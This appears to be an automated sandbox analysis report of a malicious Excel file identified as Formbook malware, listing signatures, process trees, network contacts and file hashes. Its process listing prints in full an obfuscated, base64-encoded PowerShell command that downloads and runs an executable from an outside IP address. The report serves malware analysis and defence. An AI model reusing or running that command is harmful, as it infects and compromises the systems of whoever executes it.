Analysis Overview
SHA256
b171b5e7c7abd247edcc25f1c00301e89f1e9715ed6d98f03f4b6a6674c5834b
Threat Level: Known bad
The file PO-014842-2.xls was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Formbook
Formbook payload
Downloads MZ/PE file
Blocklisted process makes network request
Evasion via Device Credential Deployment
Executes dropped EXE
Loads dropped DLL
Drops file in System32 directory
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Uses Volume Shadow Copy WMI provider
Suspicious behavior: AddClipboardFormatListener
Checks processor information in registry
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Enumerates system info in registry
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Uses Volume Shadow Copy service COM API
Suspicious behavior: MapViewOfSection
Suspicious use of SetWindowsHookEx
Modifies Internet Explorer settings
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-29 10:59
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-29 10:59
Reported
2024-08-29 11:02
Platform
win7-20240704-en
Max time kernel
149s
Max time network
147s
Command Line
Signatures
Formbook
Formbook payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 672 set thread context of 2940 | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | C:\Users\Admin\AppData\Roaming\MeMpEng.exe |
| PID 2940 set thread context of 1208 | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | C:\Windows\Explorer.EXE |
| PID 2940 set thread context of 1208 | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | C:\Windows\Explorer.EXE |
| PID 1532 set thread context of 1208 | N/A | C:\Windows\SysWOW64\NAPSTAT.EXE | C:\Windows\Explorer.EXE |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\NAPSTAT.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\NAPSTAT.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\NAPSTAT.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\NAPSTAT.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-014842-2.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/C powErShElL -EX byPasS -nOP -W 1 -c dEviceCrEdeNtIalDePLOyMENT ; iex($(iEX('[systeM.text.encodIng]'+[ChAR]58+[ChAR]0x3A+'uTf8.gETstRiNg([sYSTEM.cONveRt]'+[chAR]0x3a+[ChAR]58+'froMBasE64strINg('+[cHAr]34+'JE5JTWhGTFlIRk4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNYmVSRGVGaW5pdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNY2lwcWpxLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIS0Qsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUlFtcUlSVXV6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuR29iUFF4dCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3lNbG9uUVIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeGh2Y3lnR21Ma28gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTklNaEZMWUhGTjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1Ljg5LjI0Ny4xNTEvNDU4L01lTXBFbmcuZXhlIiwiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIiwwLDApO1NUQXJ0LVNMZWVQKDMpO1N0YXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcTWVNcEVuZy5leGUi'+[chaR]0X22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErShElL -EX byPasS -nOP -W 1 -c dEviceCrEdeNtIalDePLOyMENT ; iex($(iEX('[systeM.text.encodIng]'+[ChAR]58+[ChAR]0x3A+'uTf8.gETstRiNg([sYSTEM.cONveRt]'+[chAR]0x3a+[ChAR]58+'froMBasE64strINg('+[cHAr]34+'JE5JTWhGTFlIRk4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNYmVSRGVGaW5pdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNY2lwcWpxLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIS0Qsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUlFtcUlSVXV6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuR29iUFF4dCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3lNbG9uUVIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeGh2Y3lnR21Ma28gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTklNaEZMWUhGTjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1Ljg5LjI0Ny4xNTEvNDU4L01lTXBFbmcuZXhlIiwiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIiwwLDApO1NUQXJ0LVNMZWVQKDMpO1N0YXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcTWVNcEVuZy5leGUi'+[chaR]0X22+'))')))"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xcuhhq5p.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8670.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC866F.tmp"
C:\Users\Admin\AppData\Roaming\MeMpEng.exe
"C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
C:\Users\Admin\AppData\Roaming\MeMpEng.exe
"C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
C:\Windows\SysWOW64\NAPSTAT.EXE
"C:\Windows\SysWOW64\NAPSTAT.EXE"
C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | zhort.de | udp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.134.89:80 | e6.o.lencr.org | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.252.143:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.ommybahamabigsales.shop | udp |
| US | 8.8.8.8:53 | www.laywithkemon.rest | udp |
| US | 8.8.8.8:53 | www.igfloppafan.club | udp |
Files
memory/2092-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2092-1-0x0000000071D1D000-0x0000000071D28000-memory.dmp
memory/2764-18-0x0000000002880000-0x0000000002882000-memory.dmp
memory/2092-19-0x0000000002470000-0x0000000002472000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7E8BDF27898FD04B591B0B0011B10808
| MD5 | 11aef50d0ddb441b81b4eb386f1c0626 |
| SHA1 | 87eae333024929541102871faf79058cb4d9c05d |
| SHA256 | a1c91d4d65468f77357db9407080170e53816ed8147ab17939f4d9a4069c0a2a |
| SHA512 | 307c5b5276230243de02f29e233c3103c7643988c5a10bdfbe3c8c10dec71dd725b7fdec4fbe11d8c478183f3a127e7e2d673f0898cb61608730c9af62739402 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7E8BDF27898FD04B591B0B0011B10808
| MD5 | 2a22d79f810194591562f5550fd2fdaf |
| SHA1 | 9085f1492a5bcc3f539169ebd82cbe8ead4f4eec |
| SHA256 | d0321588aa29241312e1508e1013faabd7a815767235104fbe3a6b9b5600d9f1 |
| SHA512 | 281e6f5ad830fb2cc0c08618a13b14b9e82a944ab2efb32999d2f9a89ae3be6854f9cf60de2910f3866a14deda74719d8676de82932ea3fdd581ecc75092b579 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | 97ff20422f18364ef32dac00a6948fa5 |
| SHA1 | ad51613b5210699124bdbbbae46bdd112ec7fef7 |
| SHA256 | ea3e5abb29f478dad26f6365e6f2809a650bbdf2aeec0fe8fa97f9f39c476456 |
| SHA512 | 8917c820e12075899419c6f3211cffed742e1bbc5d0d966b65699009b473b0168a3007854292aea65ae54edfcffc5174c5e23cb7b0fbaf9184d399eed5c24d55 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | 9cebf576441ef09353a6f4393089269a |
| SHA1 | 170c63f07f3442e8ff7a56f76fef8fc6c79dd8e5 |
| SHA256 | 06247569f3b1d693386143b0784e19c912589bd0fafd1b466c35e3acdd204af8 |
| SHA512 | 01c3f28b69ebf9566e109501c78bb0a568d82928bbd3b4bd1e54384147d8b48f3eef6b61e38706c06708d4374469a128c27625033c2f0bdeae456f35e05de3ae |
C:\Users\Admin\AppData\Local\Temp\Cab80B4.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2LF9I1AK\IEnetworthUpdated[1].hta
| MD5 | 87635cf66104074c53e698677de6002b |
| SHA1 | 958ba282403c968f0dc8631aa396b8a73612ffe3 |
| SHA256 | 4768f32e03962166a83fab45ea2e5865291e66bff359c547573ca34da6fe78cf |
| SHA512 | 7976b9820a1494953d6b99982e696a9faed599bc8ec932e92285ab10eb5db8d6ff76794309d062c8e8410e1142d06f75a70c417ea646e0adb5b42a2c55a3e31d |
\??\c:\Users\Admin\AppData\Local\Temp\xcuhhq5p.cmdline
| MD5 | 7009a4514cb2d037ed2d86e6b418b9eb |
| SHA1 | ecf737444cbb5dfec1ad98b201a36e8d53a39886 |
| SHA256 | 0437894fbc507f5dc968a935fc9688f60b0df53acb627201c3dfc5521c5abfac |
| SHA512 | 8ca52ab3425682df24a46fd3a61568bf40e71bd9dd6c6abedd78657ee4944c97e87e9185203f8da44dac608115ab7694c7abc7606ceadb92f2c0d9fea00d931e |
\??\c:\Users\Admin\AppData\Local\Temp\xcuhhq5p.0.cs
| MD5 | f2a64cd1f09c060d9412d84239f92021 |
| SHA1 | 8053849b3e79d63181b74207b19e76775a248982 |
| SHA256 | 2f6ec9f074eca2e37185fbec988ed8bd98be664feeec718f77cc489413ddd1d7 |
| SHA512 | f7661e45c4752e6457741d1bd753e25e1b624fd0c85062b74c0a8d0334c4b7a7fb4ef58295b31607ad427b08d8b87b730025b33fbd3b60041af83e29dbb95513 |
\??\c:\Users\Admin\AppData\Local\Temp\CSC866F.tmp
| MD5 | 4383f351ce2a28e7fd56b3404e4843c3 |
| SHA1 | 06295ec0aed990803a7638f2142d61acd43e4d07 |
| SHA256 | 80d79dc2d210bf21c48239930e2f69d288cecbabf5d13fdc8993c8bc221f5e9f |
| SHA512 | d7aaf9dfd21339a1843aae99a126a62d209c221ad13c9b115365974f88d19f6abac4d0722f4be42792b2d8a0b19058c58262aec0df1e58502ff84d04c5d8f0bb |
C:\Users\Admin\AppData\Local\Temp\RES8670.tmp
| MD5 | bb2cd7c30c721194edf8a5f7fb4eed54 |
| SHA1 | 465e4744f690afe7e3aa172d3ed8b8eb9ab6dd8d |
| SHA256 | 8993b586338e213234b2b95a1a55921b495ff70f7bc23eacb152f5071ed34318 |
| SHA512 | b2051c01856641649bbc9341791461f955d1434b8eeb0eb798bb95a7bf6d3f46ba8d2160e63e1bd37d075e742969555cb13ba1e1753bd330982bae61ac997535 |
C:\Users\Admin\AppData\Local\Temp\xcuhhq5p.dll
| MD5 | ef62d9579bb4be32fcb68056a4094a89 |
| SHA1 | c0e72e5333eab292d3382f659f8e415681df8c93 |
| SHA256 | 43ce75b0ecf589cd403d39d5100bd1b2934e11c173578e6960a606e6ae6cde68 |
| SHA512 | fc55b7a33921e20c8027cb522f45a9921573fb66654ff5039a91fab3e44be370fe30850cfa78a455f78b36f528c43531f8934b9c07032ba2d657178a88d288bc |
C:\Users\Admin\AppData\Local\Temp\xcuhhq5p.pdb
| MD5 | 972195f7e5de81650fe13e91c7422d22 |
| SHA1 | 1dbc2ab6ca93f16eb8ae28b2db697bdfd8dd1c83 |
| SHA256 | 904ccc8912bf6bd7ab70cb92ba49057cb0217142d44e1e54c18f0bf6c35449da |
| SHA512 | 3cf33b724babd55f736e06db4a08ecf5554610efe88ba8bf84eed0529bcfdb23ea0039254139bdb47051a24ac10a9f8846a69d043f647b38cc8362c1bc09d38c |
C:\Users\Admin\AppData\Roaming\MeMpEng.exe
| MD5 | dd2e0becfb1316c49975386fc3367c45 |
| SHA1 | 98c578ff997ef781919ca5967251fa9d462a756e |
| SHA256 | 14d4d6df33e96af2a1d5ef8f8e7f6f1b914b0342b219c75f812848f52bc27628 |
| SHA512 | 4768fa7aa32dc02e958c8506880311bb0d4fa5a9cd9fcdc6581a8349b1d85b3323513d28018b55ffbdb79e440e4b371dfb260cbd097ffd2279993b9a1a416bfb |
memory/672-64-0x0000000001290000-0x000000000132C000-memory.dmp
memory/672-65-0x0000000000A10000-0x0000000000A28000-memory.dmp
memory/2092-66-0x0000000071D1D000-0x0000000071D28000-memory.dmp
memory/672-67-0x0000000005BB0000-0x0000000005C26000-memory.dmp
memory/2940-68-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2940-70-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2940-73-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2940-72-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1208-76-0x0000000003B30000-0x0000000003C30000-memory.dmp
memory/2940-77-0x0000000000400000-0x000000000042F000-memory.dmp
memory/1208-78-0x0000000006590000-0x00000000066E8000-memory.dmp
memory/1532-79-0x00000000008E0000-0x0000000000926000-memory.dmp
memory/1532-80-0x00000000000D0000-0x00000000000FF000-memory.dmp
memory/2092-88-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2092-91-0x0000000071D1D000-0x0000000071D28000-memory.dmp
memory/1208-93-0x00000000070B0000-0x0000000007225000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-29 10:59
Reported
2024-08-29 11:02
Platform
win10v2004-20240802-en
Max time kernel
144s
Max time network
131s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1408 wrote to memory of 4736 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 1408 wrote to memory of 4736 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO-014842-2.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4336,i,8293235976513689021,7261015831736501466,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| US | 8.8.8.8:53 | zhort.de | udp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.134.89:80 | e6.o.lencr.org | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| US | 8.8.8.8:53 | 38.66.99.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.245.100.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 151.247.89.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 58.99.105.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 131.72.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
memory/1408-0-0x00007FF8161F0000-0x00007FF816200000-memory.dmp
memory/1408-1-0x00007FF85620D000-0x00007FF85620E000-memory.dmp
memory/1408-2-0x00007FF8161F0000-0x00007FF816200000-memory.dmp
memory/1408-5-0x00007FF8161F0000-0x00007FF816200000-memory.dmp
memory/1408-6-0x00007FF856170000-0x00007FF856365000-memory.dmp
memory/1408-4-0x00007FF8161F0000-0x00007FF816200000-memory.dmp
memory/1408-9-0x00007FF856170000-0x00007FF856365000-memory.dmp
memory/1408-8-0x00007FF856170000-0x00007FF856365000-memory.dmp
memory/1408-12-0x00007FF856170000-0x00007FF856365000-memory.dmp
memory/1408-13-0x00007FF813C60000-0x00007FF813C70000-memory.dmp
